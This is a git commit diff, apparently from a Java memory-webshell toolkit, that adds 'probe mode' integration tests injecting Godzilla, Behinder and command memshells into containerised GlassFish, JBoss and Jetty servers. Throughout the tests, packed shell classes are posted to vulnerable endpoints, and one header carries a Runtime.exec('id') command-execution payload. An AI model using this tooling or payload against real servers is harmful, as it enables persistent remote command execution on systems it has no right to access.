feat: support probe mode

This commit is contained in:
ReaJason
2025-12-08 01:43:41 +08:00
parent 653665e479
commit cd8111d0d7
78 changed files with 929 additions and 51 deletions
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.ProbeShellGenerator;
@@ -38,12 +39,12 @@ public class ProbeAssertion {
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
RequestBody requestBody = new FormBody.Builder()
.add("data", probeResult.getShellBytesBase64Str())
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
.add(reqParamName, DetectionTool.getServerDetection())
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/b64").post(requestBody)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertEquals(server, response.body().string());
@@ -67,12 +68,12 @@ public class ProbeAssertion {
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
RequestBody requestBody = new FormBody.Builder()
.add("data", probeResult.getShellBytesBase64Str())
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
.add(reqParamName, DetectionTool.getServerDetection().replace("yv66vgAAAD", ""))
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/b64").post(requestBody)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertEquals(server, response.body().string());
@@ -95,14 +96,13 @@ public class ProbeAssertion {
.reqParamName(headerName)
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
String content = probeResult.getShellBytesBase64Str();
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header(headerName, "id")
.url(url + "/b64").post(requestBody)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertThat(response.body().string(), anyOf(
@@ -127,14 +127,13 @@ public class ProbeAssertion {
.reqParamName(headerName)
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
String content = probeResult.getShellBytesBase64Str();
RequestBody requestBody = new FormBody.Builder()
.add("data", content)
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
.url(url + "/b64").post(requestBody)
.url(url + "/biginteger").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertThat(response.body().string(), anyOf(
@@ -6,6 +6,7 @@ import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.JarPacker;
@@ -27,6 +28,7 @@ import org.apache.commons.io.FileUtils;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import org.hamcrest.Matchers;
import org.testcontainers.containers.Container;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.utility.MountableFile;
@@ -185,11 +187,7 @@ public class ShellAssertion {
godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
break;
case Command:
if (shellType.endsWith(ShellType.WEBSOCKET)) {
webSocketCommandIsOk(shellUrl, "id");
} else {
commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
}
commandIsOk(shellUrl, shellType, ((CommandConfig) generateResult.getShellToolConfig()).getParamName(), "id");
break;
case Behinder:
behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
@@ -227,11 +225,15 @@ public class ShellAssertion {
}
@SneakyThrows
public static void commandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
public static void commandIsOk(String entrypoint, String shellType, String paramName, String payload) {
if (shellType.endsWith(ShellType.WEBSOCKET)) {
webSocketCommandIsOk(entrypoint, payload);
return;
}
OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
.newBuilder()
.addQueryParameter(shellConfig.getParamName(), payload)
.addQueryParameter(paramName, payload)
.build();
Request request = new Request.Builder()
.url(url)
@@ -403,4 +405,43 @@ public class ShellAssertion {
default -> throw new IllegalStateException("Unexpected value: " + packer);
}
}
public static void testProbeInject(String url, String server, String serverVersion, String shellType, int targetJdkVersion) {
String shellTool = ShellTool.Command;
Packers packer = Packers.BigInteger;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
.serverVersion(serverVersion)
.shellType(shellType)
.shellTool(shellTool)
.targetJreVersion(targetJdkVersion)
.debug(false)
.probe(true)
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(urlPattern)
.staticInitialize(true)
.build();
String paramName = "tomcatProbe" + shellType;
CommandConfig commandConfig = CommandConfig.builder()
.paramName(paramName)
.build();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
String res = VulTool.postIsOk(url + "/biginteger", content);
assertThat(res, anyOf(
Matchers.containsString("context: "),
Matchers.containsString("server: "),
Matchers.containsString("channel: ")
));
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
}
public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) {
testProbeInject(url, server, null, shellType, targetJdkVersion);
}
}
@@ -46,7 +46,7 @@ public class VulTool {
}
@SneakyThrows
public static void postIsOk(String uploadUrl, String data) {
public static String postIsOk(String uploadUrl, String data) {
RequestBody requestBody = new FormBody.Builder()
.add("data", data)
.build();
@@ -56,8 +56,10 @@ public class VulTool {
.url(uploadUrl).post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
System.out.println(response.body().string());
String res = response.body().string();
System.out.println(res);
Assertions.assertNotEquals(404, response.code());
return res;
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -80,4 +82,13 @@ public class GlassFish3ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -80,4 +82,13 @@ public class GlassFish4ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,13 @@ public class GlassFish501ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,13 @@ public class GlassFish510ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -22,9 +24,7 @@ import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
@@ -66,7 +66,7 @@ public class GlassFish6ContainerTest {
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@@ -74,4 +74,13 @@ public class GlassFish6ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -46,7 +48,7 @@ public class GlassFish7ContainerTest {
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*startup time.*", 1))
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
@@ -74,4 +76,13 @@ public class GlassFish7ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -74,4 +76,14 @@ public class Jboss423ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -76,4 +78,14 @@ public class Jboss510ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -72,4 +74,14 @@ public class Jboss610ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -75,4 +77,14 @@ public class Jboss711ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_7);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -74,4 +76,14 @@ public class JbossEap6ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -72,4 +74,13 @@ public class JbossEap7ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -74,4 +76,15 @@ public class Jetty10ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V11);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -76,4 +78,15 @@ public class Jetty11ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -75,4 +77,14 @@ public class Jetty12ee10ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -76,4 +78,14 @@ public class Jetty12ee11ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,14 @@ public class Jetty12ee8ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -75,4 +77,14 @@ public class Jetty12ee9ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
